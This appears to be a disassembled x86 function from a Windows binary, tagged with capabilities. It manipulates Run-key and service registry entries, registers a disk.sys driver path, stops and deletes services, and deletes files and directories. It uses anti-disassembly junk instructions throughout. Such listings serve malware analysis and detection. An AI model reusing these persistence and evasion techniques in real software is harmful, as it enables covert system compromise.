Function at 0x4410b0
Capabilities:
Copy file
Create process on windows
Delete directory
Delete file
Delete registry value
Delete service
Persist via run registry key
Persist via windows service
Set file attributes
Set registry value
Stop service

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x48d1d9
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x88
push ebx
push esi
push edi
push eax
xor eax, eax
pop eax
je 0x4410d9
invalid
push eax
xor eax, eax
pop eax
je 0x4410e1
invalid
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea eax, [ebp - 0x20]
xor ebx, ebx
push eax
push 0x20006
push ebx
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push reloc.WSOCK32.dll_bind
mov dword [ebp - 0x20], ebx
call esi
test eax, eax
jne 0x441129
mov eax, dword [0x4cbb2c]
cmp eax, ebx
jne 0x441114
mov eax, 0x48e810
mov ecx, dword [ebp - 0x20]
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
mov edx, dword [ebp - 0x20]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x20]
push eax
push 0x20006
push ebx
push str.SystemCurrentControlSetServicesDisk
push reloc.WSOCK32.dll_bind
call esi
cmp eax, ebx
jne 0x441176
mov ecx, 6
mov esi, str.system32driversdisk.sys
lea edi, [ebp - 0x6c]
mov edx, dword [ebp - 0x20]
rep movsd dword es:[edi], dword [esi]
lea ecx, [ebp - 0x6c]
push 0x1a
push ecx
push 2
push ebx
push str.ImagePath
push edx
movsw word es:[edi], word [esi]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [ebp - 0x20]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 0x6d]
lea edx, [ebp - 0x6e]
push ecx
push ebx
push edx
lea ecx, [ebp - 0x30]
call fcn.00409760
lea eax, [ebp - 0x30]
mov dword [ebp - 4], ebx
push eax
call fcn.0043b1d0
lea ecx, [ebp - 0x74]
push ecx
lea ecx, [ebp - 0x30]
call fcn.0044aa90
mov eax, dword [ebp - 0x74]
mov ecx, dword [ebp - 0x2c]
cmp eax, ecx
mov dword [ebp - 0x20], eax
je 0x4411c7
mov dl, byte [eax + 0xc]
push edx
call fcn.004427d0
lea ecx, [ebp - 0x20]
call fcn.00409860
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x2c]
cmp eax, ecx
jne 0x4411ac
lea ecx, [ebp - 0x30]
mov dword [ebp - 4], 0xffffffff
call fcn.004093d0
mov al, byte [ebp + 8]
test al, al
je 0x44153d
push eax
xor eax, eax
pop eax
je 0x4411e9
invalid
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov ebx, eax
test ebx, ebx
je 0x4412b5
push 0x4cbb28
lea ecx, [ebp - 0x30]
call fcn.004122e0
mov eax, dword [0x492cd4]
lea ecx, [ebp - 0x30]
push eax
push 0
push 0x4cbbd8
mov dword [ebp - 4], 1
call fcn.004094e0
mov eax, dword [ebp - 0x2c]
test eax, eax
jne 0x441237
mov eax, 0x48e810
push 0xf01ff
push eax
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov edi, eax
test edi, edi
je 0x44129d
lea ecx, [ebp - 0x6c]
push ecx
push 1
push edi
call dword [sym.imp.ADVAPI32.dll_ControlService]
push eax
xor eax, eax
pop eax
je 0x44125f
invalid
call dword [sym.imp.WINMM.dll_timeGetTime]
mov esi, eax
xor eax, eax
mov edx, 0x3e8
sub edx, eax
push edx
call dword [sym.imp.KERNEL32.dll_Sleep]
call dword [sym.imp.WINMM.dll_timeGetTime]
cmp eax, esi
jb 0x441285
sub eax, esi
jmp 0x441288
sub eax, esi
dec eax
cmp eax, 0x3e8
jb 0x441269
push edi
call dword [sym.imp.ADVAPI32.dll_DeleteService]
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push ebx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push 1
lea ecx, [ebp - 0x30]
mov dword [ebp - 4], 0xffffffff
call fcn.004017b0
push eax
xor eax, eax
pop eax
je 0x4412bd
invalid
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov esi, eax
test esi, esi
mov dword [ebp + 8], esi
je 0x441371
push 0x4cbb28
lea ecx, [ebp - 0x30]
call fcn.004122e0
mov eax, dword [ebp - 0x2c]
test eax, eax
jne 0x4412f2
mov eax, 0x48e810
push 0xf01ff
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov edi, eax
test edi, edi
je 0x441359
lea eax, [ebp - 0x6c]
push eax
push 1
push edi
call dword [sym.imp.ADVAPI32.dll_ControlService]
push eax
xor eax, eax
pop eax
je 0x44131a
invalid
mov ebx, dword [sym.imp.WINMM.dll_timeGetTime]
call ebx
mov esi, eax
xor eax, eax
mov ecx, 0x3e8
sub ecx, eax
push ecx
call dword [sym.imp.KERNEL32.dll_Sleep]
call ebx
cmp eax, esi
jb 0x44133e
sub eax, esi
jmp 0x441341
sub eax, esi
dec eax
cmp eax, 0x3e8
jb 0x441326
push edi
call dword [sym.imp.ADVAPI32.dll_DeleteService]
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov esi, dword [ebp + 8]
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push 1
lea ecx, [ebp - 0x30]
mov dword [ebp - 4], 0xffffffff
call fcn.004017b0
push 0x4b3b88
lea edx, [ebp - 0x60]
push 0x4cb878
push edx
call fcn.00414500
push 0x4cbb28
push eax
lea eax, [ebp - 0x94]
mov dword [ebp - 4], 3
push eax
call fcn.00414630
push 0x4b3b88
lea ecx, [ebp - 0x30]
push eax
push ecx
mov byte [ebp - 4], 4
call fcn.00414500
push 0x4cbb38
lea edx, [ebp - 0x1c]
push eax
push edx
mov byte [ebp - 4], 5
call fcn.00414630
add esp, 0x30
push 1
lea ecx, [ebp - 0x30]
mov byte [ebp - 4], 9
call fcn.004017b0
push 1
lea ecx, [ebp - 0x94]
mov byte [ebp - 4], 8
call fcn.004017b0
push 1
lea ecx, [ebp - 0x60]
mov byte [ebp - 4], 7
call fcn.004017b0
push str._temp_
lea eax, [ebp - 0x84]
push 0x4cb888
push eax
call fcn.00414500
push 0x4cbb38
lea ecx, [ebp - 0x40]
push eax
push ecx
mov byte [ebp - 4], 0xa
call fcn.00414630
add esp, 0x18
push 1
lea ecx, [ebp - 0x84]
mov byte [ebp - 4], 0xc
call fcn.004017b0
mov dl, byte [0x4cb888]
push 0
lea ecx, [ebp - 0x50]
mov byte [ebp - 0x50], dl
call fcn.004017b0
mov eax, dword [0x492cd4]
lea ecx, [ebp - 0x50]
push eax
push 0
push 0x4cb888
call fcn.004094e0
mov eax, dword [ebp - 0x3c]
test eax, eax
jne 0x441464
mov eax, 0x48e810
push 0x80
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov eax, dword [ebp - 0x3c]
mov ecx, 0x48e810
test eax, eax
je 0x44147e
mov ecx, eax
mov eax, dword [ebp - 0x18]
test eax, eax
jne 0x44148a
mov eax, 0x48e810
push 0
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov ecx, dword [ebp - 0x4c]
test ecx, ecx
jne 0x4414a0
mov ecx, 0x48e810
mov eax, dword [ebp - 0x3c]
test eax, eax
jne 0x4414ac
mov eax, 0x48e810
push 0
push ecx
push str._clean
push eax
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push eax
xor eax, eax
pop eax
je 0x4414ca
invalid
mov edi, dword [sym.imp.WINMM.dll_timeGetTime]
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, eax
xor eax, eax
mov ecx, 0x1f4
sub ecx, eax
push ecx
call ebx
call edi
cmp eax, esi
jb 0x4414f0
sub eax, esi
jmp 0x4414f3
sub eax, esi
dec eax
cmp eax, 0x1f4
jb 0x4414dc
push 1
lea ecx, [ebp - 0x50]
call fcn.004017b0
push 1
lea ecx, [ebp - 0x40]
mov byte [ebp - 4], 7
call fcn.004017b0
mov eax, dword [ebp - 0x18]
mov dword [ebp - 4], 0xffffffff
test eax, eax
je 0x44153d
lea ecx, [eax - 1]
mov al, byte [eax - 1]
test al, al
je 0x441534
cmp al, 0xff
je 0x441534
dec al
mov byte [ecx], al
jmp 0x44153d
push ecx
call fcn.00486808
add esp, 4
push eax
xor eax, eax
pop eax
je 0x441545
invalid
mov dl, byte [0x4cb878]
push 0
lea ecx, [ebp - 0x30]
mov byte [ebp - 0x30], dl
call fcn.004017b0
mov eax, dword [0x492cd4]
lea ecx, [ebp - 0x30]
push eax
push 0
push 0x4cb878
call fcn.004094e0
mov edi, 0x4b3b88
or ecx, 0xffffffff
xor eax, eax
mov dword [ebp - 4], 0xd
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push 0x4b3b88
lea ecx, [ebp - 0x30]
call fcn.0041d2b0
mov ecx, dword [0x492cd4]
push ecx
push 0
push 0x4cbb28
lea ecx, [ebp - 0x30]
call fcn.00412f10
mov edi, 0x4b3b88
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push 0x4b3b88
lea ecx, [ebp - 0x30]
call fcn.0041d2b0
mov edx, dword [0x492cd4]
lea ecx, [ebp - 0x30]
push edx
push 0
push 0x4cbb98
call fcn.00412f10
mov eax, dword [ebp - 0x2c]
test eax, eax
jne 0x4415e6
mov eax, 0x48e810
mov ebx, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0x80
push eax
call ebx
mov eax, dword [ebp - 0x2c]
test eax, eax
jne 0x441600
mov eax, 0x48e810
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
push eax
call esi
push 1
lea ecx, [ebp - 0x30]
mov dword [ebp - 4], 0xffffffff
call fcn.004017b0
mov al, byte [0x4cb878]
push 0
lea ecx, [ebp - 0x30]
mov byte [ebp - 0x30], al
call fcn.004017b0
mov ecx, dword [0x492cd4]
push ecx
push 0
push 0x4cb878
lea ecx, [ebp - 0x30]
call fcn.004094e0
mov edi, 0x4b3b88
or ecx, 0xffffffff
xor eax, eax
mov dword [ebp - 4], 0xe
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push 0x4b3b88
lea ecx, [ebp - 0x30]
call fcn.0041d2b0
mov edx, dword [0x492cd4]
lea ecx, [ebp - 0x30]
push edx
push 0
push 0x4cbb28
call fcn.00412f10
mov edi, 0x4b3b88
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push 0x4b3b88
lea ecx, [ebp - 0x30]
call fcn.0041d2b0
mov eax, dword [0x492cd4]
lea ecx, [ebp - 0x30]
push eax
push 0
push 0x4cbb78
call fcn.00412f10
mov eax, dword [ebp - 0x2c]
test eax, eax
jne 0x4416ba
mov eax, 0x48e810
push 0x80
push eax
call ebx
mov eax, dword [ebp - 0x2c]
test eax, eax
jne 0x4416ce
mov eax, 0x48e810
push eax
call esi
push 1
lea ecx, [ebp - 0x30]
mov dword [ebp - 4], 0xffffffff
call fcn.004017b0
push 0x4c05e4
mov ecx, 0x4cb918
call fcn.004149b0
test eax, eax
je 0x4417fb
mov cl, byte [0x4cb918]
push 0
mov byte [ebp - 0x1c], cl
lea ecx, [ebp - 0x1c]
call fcn.004017b0
mov edx, dword [0x492cd4]
lea ecx, [ebp - 0x1c]
push edx
push 0
push 0x4cb918
call fcn.004094e0
mov edi, 0x4b3b88
or ecx, 0xffffffff
xor eax, eax
mov dword [ebp - 4], 0xf
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push 0x4b3b88
lea ecx, [ebp - 0x1c]
call fcn.0041d2b0
mov eax, dword [0x492cd4]
lea ecx, [ebp - 0x1c]
push eax
push 0
push 0x4cbbe8
call fcn.00412f10
mov eax, dword [ebp - 0x18]
test eax, eax
jne 0x441767
mov eax, 0x48e810
push 0x80
push eax
call ebx
mov eax, dword [ebp - 0x18]
test eax, eax
jne 0x44177b
mov eax, 0x48e810
push eax
call esi
mov ecx, dword [0x492cd4]
push ecx
push 0
push 0x4cb918
lea ecx, [ebp - 0x1c]
call fcn.004094e0
mov edi, 0x4b3b88
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push 0x4b3b88
lea ecx, [ebp - 0x1c]
call fcn.0041d2b0
mov edx, dword [0x492cd4]
lea ecx, [ebp - 0x1c]
push edx
push 0
push 0x4cbbb8
call fcn.00412f10
mov eax, dword [ebp - 0x18]
test eax, eax
jne 0x4417d3
mov eax, 0x48e810
push 0x80
push eax
call ebx
mov eax, dword [ebp - 0x18]
test eax, eax
jne 0x4417e7
mov eax, 0x48e810
push eax
call esi
push 1
lea ecx, [ebp - 0x1c]
mov dword [ebp - 4], 0xffffffff
call fcn.004017b0
push 0x4c05e4
mov ecx, 0x4cb788
call fcn.004149b0
test eax, eax
je 0x441913
mov al, byte [0x4cb788]
push 0
lea ecx, [ebp - 0x1c]
mov byte [ebp - 0x1c], al
call fcn.004017b0
mov ecx, dword [0x492cd4]
push ecx
push 0
push 0x4cb788
lea ecx, [ebp - 0x1c]
call fcn.004094e0
mov edi, 0x4b3b88
or ecx, 0xffffffff
xor eax, eax
mov dword [ebp - 4], 0x10
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push 0x4b3b88
lea ecx, [ebp - 0x1c]
call fcn.0041d2b0
mov edx, dword [0x492cd4]
lea ecx, [ebp - 0x1c]
push edx
push 0
push 0x4cbbe8
call fcn.00412f10
mov eax, dword [ebp - 0x18]
test eax, eax
jne 0x441880
mov eax, 0x48e810
push 0x80
push eax
call ebx
mov eax, dword [ebp - 0x18]
test eax, eax
jne 0x441894
mov eax, 0x48e810
push eax
call esi
mov eax, dword [0x492cd4]
lea ecx, [ebp - 0x1c]
push eax
push 0
push 0x4cb788
call fcn.004094e0
mov edi, 0x4b3b88
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push 0x4b3b88
lea ecx, [ebp - 0x1c]
call fcn.0041d2b0
mov ecx, dword [0x492cd4]
push ecx
push 0
push 0x4cbbb8
lea ecx, [ebp - 0x1c]
call fcn.00412f10
mov eax, dword [ebp - 0x18]
test eax, eax
jne 0x4418eb
mov eax, 0x48e810
push 0x80
push eax
call ebx
mov eax, dword [ebp - 0x18]
test eax, eax
jne 0x4418ff
mov eax, 0x48e810
push eax
call esi
push 1
lea ecx, [ebp - 0x1c]
mov dword [ebp - 4], 0xffffffff
call fcn.004017b0
push 0x4cb878
lea ecx, [ebp - 0x30]
call fcn.004122e0
mov edi, 0x4b3b88
or ecx, 0xffffffff
xor eax, eax
mov dword [ebp - 4], 0x11
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push 0x4b3b88
lea ecx, [ebp - 0x30]
call fcn.0041d2b0
mov edx, dword [0x492cd4]
lea ecx, [ebp - 0x30]
push edx
push 0
push 0x4cbb28
call fcn.00412f10
mov edi, 0x4b3b88
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push 0x4b3b88
lea ecx, [ebp - 0x30]
call fcn.0041d2b0
mov eax, dword [0x492cd4]
lea ecx, [ebp - 0x30]
push eax
push 0
push 0x4cbb08
call fcn.00412f10
mov eax, dword [ebp - 0x2c]
test eax, eax
jne 0x441998
mov eax, 0x48e810
push 0x80
push eax
call ebx
mov eax, dword [ebp - 0x2c]
test eax, eax
jne 0x4419ac
mov eax, 0x48e810
push eax
call esi
mov ecx, dword [0x492cd4]
push ecx
push 0
push 0x4cb878
lea ecx, [ebp - 0x30]
call fcn.004094e0
mov edi, 0x4b3b88
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push 0x4b3b88
lea ecx, [ebp - 0x30]
call fcn.0041d2b0
mov edx, dword [0x492cd4]
lea ecx, [ebp - 0x30]
push edx
push 0
push 0x4cbb28
call fcn.00412f10
mov edi, 0x4b3b88
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push 0x4b3b88
lea ecx, [ebp - 0x30]
call fcn.0041d2b0
mov eax, dword [0x492cd4]
lea ecx, [ebp - 0x30]
push eax
push 0
push 0x4cbb48
call fcn.00412f10
mov eax, dword [ebp - 0x2c]
test eax, eax
jne 0x441a36
mov eax, 0x48e810
push 0x80
push eax
call ebx
mov eax, dword [ebp - 0x2c]
test eax, eax
jne 0x441a4a
mov eax, 0x48e810
push eax
call esi
push 1
lea ecx, [ebp - 0x30]
mov dword [ebp - 4], 0xffffffff
call fcn.004017b0
push 0x4cb878
lea ecx, [ebp - 0x30]
call fcn.004122e0
mov edi, 0x4b3b88
or ecx, 0xffffffff
xor eax, eax
mov dword [ebp - 4], 0x12
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push 0x4b3b88
lea ecx, [ebp - 0x30]
call fcn.0041d2b0
mov ecx, dword [0x492cd4]
push ecx
push 0
push 0x4cbb28
lea ecx, [ebp - 0x30]
call fcn.00412f10
mov edi, 0x4b3b88
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push 0x4b3b88
lea ecx, [ebp - 0x30]
call fcn.0041d2b0
mov edx, dword [0x492cd4]
lea ecx, [ebp - 0x30]
push edx
push 0
push 0x4cbb88
call fcn.00412f10
mov eax, dword [ebp - 0x2c]
test eax, eax
jne 0x441ae4
mov eax, 0x48e810
push 0x80
push eax
call ebx
mov eax, dword [ebp - 0x2c]
test eax, eax
jne 0x441af8
mov eax, 0x48e810
push eax
call esi
mov eax, dword [0x492cd4]
lea ecx, [ebp - 0x30]
push eax
push 0
push 0x4cb878
call fcn.004094e0
mov edi, 0x4b3b88
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push 0x4b3b88
lea ecx, [ebp - 0x30]
call fcn.0041d2b0
mov ecx, dword [0x492cd4]
push ecx
push 0
push 0x4cbb28
lea ecx, [ebp - 0x30]
call fcn.00412f10
mov edi, 0x4b3b88
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push 0x4b3b88
lea ecx, [ebp - 0x30]
call fcn.0041d2b0
mov edx, dword [0x492cd4]
lea ecx, [ebp - 0x30]
push edx
push 0
push 0x4cbb38
call fcn.00412f10
mov eax, dword [ebp - 0x2c]
test eax, eax
jne 0x441b82
mov eax, 0x48e810
push 0x80
push eax
call ebx
mov eax, dword [ebp - 0x2c]
test eax, eax
jne 0x441b96
mov eax, 0x48e810
push eax
call esi
or esi, 0xffffffff
push 1
lea ecx, [ebp - 0x30]
mov dword [ebp - 4], esi
call fcn.004017b0
push 0x4cb878
lea ecx, [ebp - 0x84]
call fcn.004122e0
mov edi, 0x4b3b88
mov ecx, esi
xor eax, eax
mov dword [ebp - 4], 0x13
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push 0x4b3b88
lea ecx, [ebp - 0x84]
call fcn.0041d2b0
mov eax, dword [0x492cd4]
lea ecx, [ebp - 0x84]
push eax
push 0
push 0x4cbb28
call fcn.00412f10
mov eax, dword [ebp - 0x80]
test eax, eax
jne 0x441c03
mov eax, 0x48e810
push eax
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
push 1
lea ecx, [ebp - 0x84]
mov dword [ebp - 4], esi
call fcn.004017b0
call fcn.0043dc80
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret 4